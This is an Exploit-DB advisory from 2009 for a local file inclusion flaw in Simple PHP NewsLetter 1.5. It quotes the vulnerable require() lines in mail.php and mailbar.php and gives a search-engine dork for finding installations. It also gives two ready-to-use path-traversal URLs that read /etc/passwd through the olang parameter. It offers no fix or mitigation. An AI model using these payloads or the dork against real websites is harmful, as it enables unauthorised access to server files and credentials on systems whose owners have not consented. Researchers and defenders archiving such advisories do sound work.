Lucene search

K
exploitdbAhmadbadyEDB-ID:7813
HistoryJan 16, 2009 - 12:00 a.m.

Simple PHP NewsLetter 1.5 - Local File Inclusion

2009-01-1600:00:00
ahmadbady
www.exploit-db.com
26

7.4 High

AI Score

Confidence

Low

0 Low

EPSS

Percentile

0.0%

                                   --:local file include:--
---------------------------------  
script:Simple PHP Newsletter 1.5
   
----------------------------------------------
download from:http://quirm.net/download/23/
   
----------------------------------------------

...............................................
vul:/mail.php line 11:

if(isset($olang)) 
{
require("lang/".$olang); line 11
-------------------------------------------
vul:/mailbar.php line 5:

<?php
include("config.inc.php");
if(isset($olang))
{
require("lang/".$olang); line 5
-------------------------------------------


----------------------------------------------------

dork:"Powered by Simple PHP Text newsletter"
----------------------------------------------------

xpl:

http://127.0.0.1/path/mail.php?olang=../../../../../../etc/passwd

http://127.0.0.1/path/mailbar.php?olang=../../../../../../etc/passwd

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [[email protected]]

from:[iran]
---------------------------------------------------

# milw0rm.com [2009-01-16]

7.4 High

AI Score

Confidence

Low

0 Low

EPSS

Percentile

0.0%